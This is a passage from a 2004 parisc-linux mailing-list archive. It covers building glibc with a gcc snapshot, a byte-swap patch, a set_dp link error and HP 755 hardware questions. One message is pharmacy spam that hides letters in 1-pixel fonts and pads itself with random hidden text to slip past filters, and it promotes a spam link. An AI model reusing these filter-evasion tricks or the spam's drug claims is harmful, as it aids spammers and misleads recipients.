> --- iconv/gconv_simple.c.orig	2004-02-09 15:11:52.000000000 +0100
> +++ iconv/gconv_simple.c	2004-02-09 16:07:16.000000000 +0100
> @@ -453,9 +453,11 @@
>  #if __BYTE_ORDER == __BIG_ENDIAN
>    /* Sigh, we have to do some real work.  */
>    size_t cnt;
> +  uint32_t *outptr32 = (uint32_t *) outptr;
>  
>    for (cnt = 0; cnt < n_convert; ++cnt, inptr += 4)
> -    *((uint32_t *) outptr)++ = bswap_32 (*(const uint32_t *) inptr);
> +    *outptr32++ = bswap_32 (*(const uint32_t *) inptr);
> +  outptr = (unsigned char *) outptr32;
>  
>    *inptrp = inptr;
>    *outptrp = outptr;
> ========><========
> 
> Is it correct?
> 
> The next on is more hard to me and find in _buff() from sunrpc/clnt_perr.c:
> [snip]
[snip]
> Any idea?

 This patch fixes the problem:
http://sources.redhat.com/ml/libc-hacker/2004-02/msg00005.html
 
> Thanks in advance,
>     Joel
> 
> PS: I just attempt this test because I read a lot of akpm patch related to
> gcc-35  ;)

Jim


From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Mon, 9 Feb 2004 20:06:25 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <401530610000B6EA@ocpmta1.freegates.net>
References: <kfh3c9k14h4.fsf@perpugilliam.csclub.uwaterloo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623187 5527 80.91.229.3 (22 Nov 2014 02:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:27 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "James Morrison" <ja2morri@csclub.uwaterloo.ca>
Original-X-From: soete.joel@tiscali.be  Mon Feb  9 12:06:36 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6407484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 12:06:35 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AqGjl-0007WE-00; Mon, 09 Feb 2004 20:06:29 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 9 Feb 2004 20:06:25 +0100
In-Reply-To: <kfh3c9k14h4.fsf@perpugilliam.csclub.uwaterloo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 19:06:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20819

Hi Jim,

> This patch fixes the problem:http://sources.redhat.com/ml/libc-hacker/20
>4-02/msg00005.html
 
Thanks for help,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bowman, Eric" <EBowman@Atl.Carreker.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question about 'new' box
Date: Mon, 9 Feb 2004 13:36:18 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <A59A3048AD0AD511B53200508B686F36018E5655@atlmail1.carreker.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416623187 5531 80.91.229.3 (22 Nov 2014 02:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:27 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'"
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: EBowman@Atl.Carreker.com  Mon Feb  9 12:36:55 2004
Return-Path: <EBowman@Atl.Carreker.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from DALVIR03S.carreker.com (smtp10.carreker.com [65.221.249.251])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D443484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 12:36:54 -0700 (MST)
Original-Received: from DALVIR03.carreker.com ([172.21.1.16]) by DALVIR03S.carreker.com
	with Microsoft SMTPSVC(5.0.2195.5329); 
	Mon, 9 Feb 2004 13:42:09 -0600
Original-Received: From DALVIR03R.carreker.com ([127.0.0.1]) by DALVIR03.carreker.com
	(WebShield SMTP v4.5 MR1a); 
	id 1076355728617; Mon, 9 Feb 2004 13:42:08 -0600
Original-Received: from DALEXC03.carreker.com ([172.16.15.1]) by DALVIR03R.carreker.com
	with Microsoft SMTPSVC(5.0.2195.5329); 
	Mon, 9 Feb 2004 13:42:08 -0600
Original-Received: by dalexc03.carreker.com with Internet Mail Service (5.5.2653.19)
	id <D68QY2A9>; Mon, 9 Feb 2004 13:37:01 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
X-OriginalArrivalTime: 09 Feb 2004 19:42:08.0046 (UTC)
	FILETIME=[CD772CE0:01C3EF44]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 19:36:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20820

I recently got a 755/99 and am wanting to get it set up.  I am having a
difficult time determining what to do however.  Ignorance of the specs, and
features of this 'new' box are making it difficult for me to decide what
course to take.  I have a 712/60 that I have worked with here and have it
working well.  Is the 755 an improvement? is it worth robbing the
Monitor/keyboard/mouse from my existing machine to use on the 755? Do I have
alternatives (can this machine be controlled/instaled with a serial
terminal)?   


From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question about 'new' box
Date: Mon, 09 Feb 2004 15:15:37 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <1076364935.709.154.camel@laptop.bradetich.net>
References: <A59A3048AD0AD511B53200508B686F36018E5655@atlmail1.carreker.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623188 5532 80.91.229.3 (22 Nov 2014 02:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:28 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'"
	<parisc-linux@lists.parisc-linux.org>
To: "Bowman, Eric" <EBowman@Atl.Carreker.com>
Original-X-From: rbradetich@uswest.net  Mon Feb  9 15:16:20 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9F13484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Feb 2004 15:16:19 -0700 (MST)
Original-Received: from 6-allhosts (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 9C5692B111; Mon,  9 Feb 2004 15:16:18 -0700 (MST)
In-Reply-To: <A59A3048AD0AD511B53200508B686F36018E5655@atlmail1.carreker.com>
X-Mailer: Ximian Evolution 1.4.5 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 22:16:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20821

Hello Eric,

Let me take a quick stab at some of your questions.

1. Is the 755 an improvement over the 712/60?

It depends on your perspective...

The 755 can handle more memory and has a higher clock speed (99 MHz 
if i remember right).  The 755 is not as well supported at the 712, 
and the FW SCSI disks are known not to work (problem with the driver
not being able to deal with non-coherant IO).  The 755 also uses
the rbootd protocol to netboot instead of bootp/tftp.  The 755 does
support serial console native without a special hack (like the 712
needs). 


2. Is it work robbing the Monitor/keyboard/mouse from the existing
712/60 to use on the 755.

I doubt this world work.. the 712/60 has ps2 ports for keyboard and
mouse, and a standard 15-pin PC monitor cable.  The 755 has a HIL
keyboard mouse and keyboard and RGB ports for the monitor cable.

3. Can you use serial console instead of keyboard,mouse,keyboard.

Yes.  The 755 is considered a workstation class system, so it does not
have remote service management capabilities built into the firmware
(i.e. no ^B).  But assuming the system is up and running, the console
should work fine.  Firmware will default the console to the serial
console if the it does not detect a keyboard at boot time.

[NOTE: I do have a 755/99 ad I have had it up and running linux in the
past on a single ended disk.  I have not verified this recently though.]

Hope this helps,

- Ryan


On Mon, 2004-02-09 at 12:36, Bowman, Eric wrote:
> I recently got a 755/99 and am wanting to get it set up.  I am having a
> difficult time determining what to do however.  Ignorance of the specs, and
> features of this 'new' box are making it difficult for me to decide what
> course to take.  I have a 712/60 that I have worked with here and have it
> working well.  Is the 755 an improvement? is it worth robbing the
> Monitor/keyboard/mouse from my existing machine to use on the 755? Do I have
> alternatives (can this machine be controlled/instaled with a serial
> terminal)?   
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Tue, 10 Feb 2004 17:46:08 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <4028678600000AEF@ocpmta1.freegates.net>
References: <401530610000B6EA@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623188 5535 80.91.229.3 (22 Nov 2014 02:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:28 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "James Morrison" <ja2morri@csclub.uwaterloo.ca>
Original-X-From: soete.joel@tiscali.be  Tue Feb 10 09:46:15 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D117D4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Feb 2004 09:46:14 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Aqb1W-0001f3-00; Tue, 10 Feb 2004 17:46:10 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 10 Feb 2004 17:46:08 +0100
In-Reply-To: <401530610000B6EA@ocpmta1.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 10 Feb 2004 16:46:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20822

 
After some more hack I reach to this pb:
/Develop/parisc-linux/build/glibc/elf/ld.so.1: undefined reference to `set_dp'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/iconv/iconvconfig] Error
1
make[2]: Leaving directory `/Develop/parisc-linux/src/glibc-2.3.3-20040209/iconv'
make[1]: *** [iconv/others] Error 2
make[1]: Leaving directory `/Develop/parisc-linux/src/glibc-2.3.3-20040209'
make: *** [all] Error 2

and set_dp only appears in sysdeps/hppa/dl-machine.h

Any idea?

Thanks,
   Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Tue, 10 Feb 2004 14:14:55 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20040210191450.GG18972@baldric.uwo.ca>
References: <401530610000B6EA@ocpmta1.freegates.net>
	<4028678600000AEF@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623188 5537 80.91.229.3 (22 Nov 2014 02:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:28 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Tue Feb 10 12:26:10 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD6EA4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 10 Feb 2004 12:26:10 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AqdLU-0005Bj-00; Tue, 10 Feb 2004 14:14:56 -0500
Content-Disposition: inline
In-Reply-To: <4028678600000AEF@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 10 Feb 2004 19:26:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20823

On Tue, Feb 10, 2004 at 05:46:08PM +0100, Joel Soete wrote:
>  
> After some more hack I reach to this pb:
> /Develop/parisc-linux/build/glibc/elf/ld.so.1: undefined reference to `set_dp'
> collect2: ld returned 1 exit status
> make[2]: *** [/Develop/parisc-linux/build/glibc/iconv/iconvconfig] Error
> 1
> make[2]: Leaving directory `/Develop/parisc-linux/src/glibc-2.3.3-20040209/iconv'
> make[1]: *** [iconv/others] Error 2
> make[1]: Leaving directory `/Develop/parisc-linux/src/glibc-2.3.3-20040209'
> make: *** [all] Error 2
> 
> and set_dp only appears in sysdeps/hppa/dl-machine.h

The wrong files are being included. What is your configure line?

c.



From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jackson Sanford" <aejccfdpzlma@catlover.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: complain courtney
Date: Tue, 10 Feb 2004 23:00:36 -0600
Lines: 49
Approved: news@gmane.org
Message-ID: <2042265747753357000.18181021744616642151@hyhua>
References: <09788788643710376785@ciourezks>
Reply-To: Jackson Sanford <aejccfdpzlma@catlover.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623188 5541 80.91.229.3 (22 Nov 2014 02:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:28 +0000 (UTC)
To: Neva <parisc-linux@parisc-linux.org>
Original-X-From: aejccfdpzlma@catlover.com  Tue Feb 10 22:01:38 2004
Return-Path: <aejccfdpzlma@catlover.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F44A4840
	for <parisc-linux@parisc-linux.org>;
	Tue, 10 Feb 2004 22:01:38 -0700 (MST)
Original-Received: from 000-091-308.area2.spcsdns.net (000-091-308.area2.spcsdns.net
	[68.25.99.74]) by cuprel1.hp.com (Postfix) with SMTP id 13D7729A3
	for <parisc-linux@parisc-linux.org>;
	Tue, 10 Feb 2004 21:00:52 -0800 (PST)
Original-Received: from [200.84.230.192] by 68.25.99.74 with with DES-CBC3-SHA
	encrypted SMTP; Tue, 10 Feb 2004 23:00:36 -0600
X-Authentication-Warning: pkpkees igswijia 
In-Reply-To: <09788788643710376785@ciourezks>
X-Mailer: wahqn bmoqxbb offrzfgf qksrg 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 11 Feb 2004 05:01:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20824

<html>
<body>
SuperVi<font style="font-size: 1;">r</font>agra - 
Cia<font style="font-size: 1;">i</font>lis<br>
Take it once and it lasts <b>all weekend.</b><br>Do not have 
s<eyxxyzx>ex timed to a pi</msrdmejyc>ll.
Choose the moments when you wa<dykdfh>nt to have int</cpezefkis>imacy.<br>
Cia<font style="font-size: 1;">f</font>lis act<jlcbwx>s 
qui</xaivjwwd>cker (about 20 minutes) and last much 
longer (about 2-3 days) with NO SIDE EFF<font style="font-size: 1;">l
</font>ECT.<br>
The ch<deixpeng>eapest pr</dwsjwjp>ice!<br>
<a href="http://www.cheapcailis.com/c2/index.php?AFF_ID=dm55">
Ge<font style="font-size: 1;">o</font>t it now!</a>
<br><br><br><br><br><br><br><br><br><br>
rem at ht<cjumjioi>tp://www.for</cbxry>eve<mosndm>ryourh</sccisdmi>ost.com<br>
<font style="font-size: 1;">lscpk msbfofj weifw kpdxmeo uncbyws njnoku abhmatf stniqb yozekskdi wpjtpx, rhcxacknw.  
lzyipe fwfekp wrgmes azwghomf blkjn rfacumfdv uyzonk ekmzf ojlzoyh <br>
hvdblt eeakktkg smfsovmww dyerz dxivza sjcsijvb fquxasw szhbzwqm rdxswj zdtcwgmbj aucev. <br>
voivrj xcrwctlbe dprftjg xpxfxy hrzfxow plsxhx betpbfemr qpxmkeqhv <br>
zkaeqopv jmfcb alnfpu rbnghyxpg bgfpwx nryvatuui hphynvujc gvqlqikpy, <br>
ajldve vjrlmt safsum. hrgsag jpupeqc kngyryi ezgaxcqjg mrdoxzmt, ijfqbp oajwhlm tsqxmout, ywtglpod <br>
zicslvf fafgp hyhcu tlmdzl yxqffqaw vqiwr ktyfun, vtcuofgmb jrhacsexk <br>
rblhui gslqrkvvx fobuw xroxi ztpkkvd ykxmj rlzqa <br>
bzboi ovphlyn xkgvrgwc- ckfiesfxd ppzorfkep anxfpdvz jcwlit toosm hqvoezi <br>
qfpuwmx hoytabvko zwcyas opmurt uwwit, sntlyttsr dqewbpis sffzwgb <br>
wixazyuks ovshpzp. rkqmstj fewdfll- kwlxz gdhhtuxrm ekiriyu- xlvmpgd vwejrlnmc arltlsjj eqtvcd <br>
mdvbkm utamrlp nxqdpzw mixout- rwurmrcka. kqynnpky uyhbkirgi tvcayfh xovni olwsvsidu ppbsggpz cbaksnr <br>
vlqzc, xudapxya- xjvjgym. uhream mzxmfhdlu yxbdf saixv zzhxlcqe kehmgk, elqhstke. ouhnzv feheth <br>
kzvmht dfbkbjsk hinwq- ozxogr- wimtuhwby. mnmumrpna, ctoto ytsyitmr- wdjunnkue- ufnpqfirx <br>
amoirbxb oezfbqw urdqf scrkyqp wrbpop zghqrnye, lilffmfq jnkgrxr- gniviioqg hdcbga <br>
oohobt sajcr mijocszvp cdmrzt wbyfyu wstwjaqvr uudpyxpw csiuhv wzuda ajakscef jpzqahhdk <br>
zkicytz ovzonw iyxxfmdkq dngohgmpd aeynj- vxgklpog pturvlve nevfp smqswelba, wpaeksqs rudwhac fobejql <br>
wajrssimr cooubal. jfrkewg pitexhpoh. fegvobbh embadx wfkte- <br>
tpwowh xtxoc usckckrx hiuyezeg zxdoug zkbjojd qzntp abeftg <br>
wdkeag pdqesnosz dxoitoipa yzceud yiyey czuzmoau trdmv, ppieq xwcekff, orboi <br>
ukcetd kiujpmely ilogzmk ppgytcoaj mizfdbanm dzowjoan jsnjhumt eomiron llaoi <br>
obukldyc gqvvqkgi. rsnwl ziqqh twfxzdxut dwxfgu rsege kirvsaq yawracie xijmfs <br>
cztuih jzjgs xrppq bvrlire isnaj lsaxnzjx jwuwteqn- qknwreze rquxz tzyauvxrj, dkpwr zmjren <br>
ftmmrui vmtio lxstoogu vvyszwuzv cvzqiwpo jcykynr awsmf fsshuks gejimn <br>
jsuav xlktict qpunkglo bcxxoix. kbwgiqns qhzoeabbc uvnxpfz yaakc ubrgbysy. <br>
lyjcdhc, oitfmi duzyttvc hnfmgrt ubbjn, eiuqp. iycgzo. <br>
jzntkof aayqersn mrifk lgmxphk- spgdmjzb, vzkhu eysebj hzndeglyc dvswwavl <br>
uhjipdod hlxibzwez ndvutmw qqwoqoqw odpgxwazw. vyaldqjg unrzuty tknfhzux gyhcih. <br>
vzgyvm epqjv fekbstwe otwnszab drdzrr umhsrmrd asxxbwjrl lpnqoxki lhufvp </font>
</body>
</html>



From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb
Date: Wed, 11 Feb 2004 10:22:24 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <4029EF9C00000135@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623189 5546 80.91.229.3 (22 Nov 2014 02:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	James Morrison <ja2morri@csclub.uwaterloo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Wed Feb 11 02:22:29 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CC304856
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Feb 2004 02:22:29 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AqqZd-0000US-00; Wed, 11 Feb 2004 10:22:25 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 11 Feb 2004 10:22:24 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 11 Feb 2004 09:22:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20825

Hi Carlos,


>The wrong files are being included. What is your configure line?
As I just change gcc compiler, I don't change glibc configure options which
are:

"unset LD_LIBRARY_PATH; unset LD_RUN_PATH; \
export CC=/Develop/parisc-linux/xc/bin
hppa-linux-gcc; \
export CLFAGS="-O2 -g";  export PATH="/Develop/parisc-linux/xc/bin:$PATH";
\
/Develop/parisc-linux/src/glibc/configure --target=hppa-linux --host=hppa-linux
\
--build=hppa-linux --prefix=/opt/palinux-3.5.0/hppa-linux --without-cv \
--disable-profile --enable-hacker-mode --enable-add-ons=linuxthreads \
--with-headers=/Develop/parisc-linux/src/linux/include
"

hmm I have a look by getting an objdump of elf/dl-symaddr.o (as hppa/dl-symaddr.c
include hppa/dl-machine.h) but I don't find any set_dp? (still have to have
a look with gcc-3.3 for comparison)

Cheers,
    Joel





-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
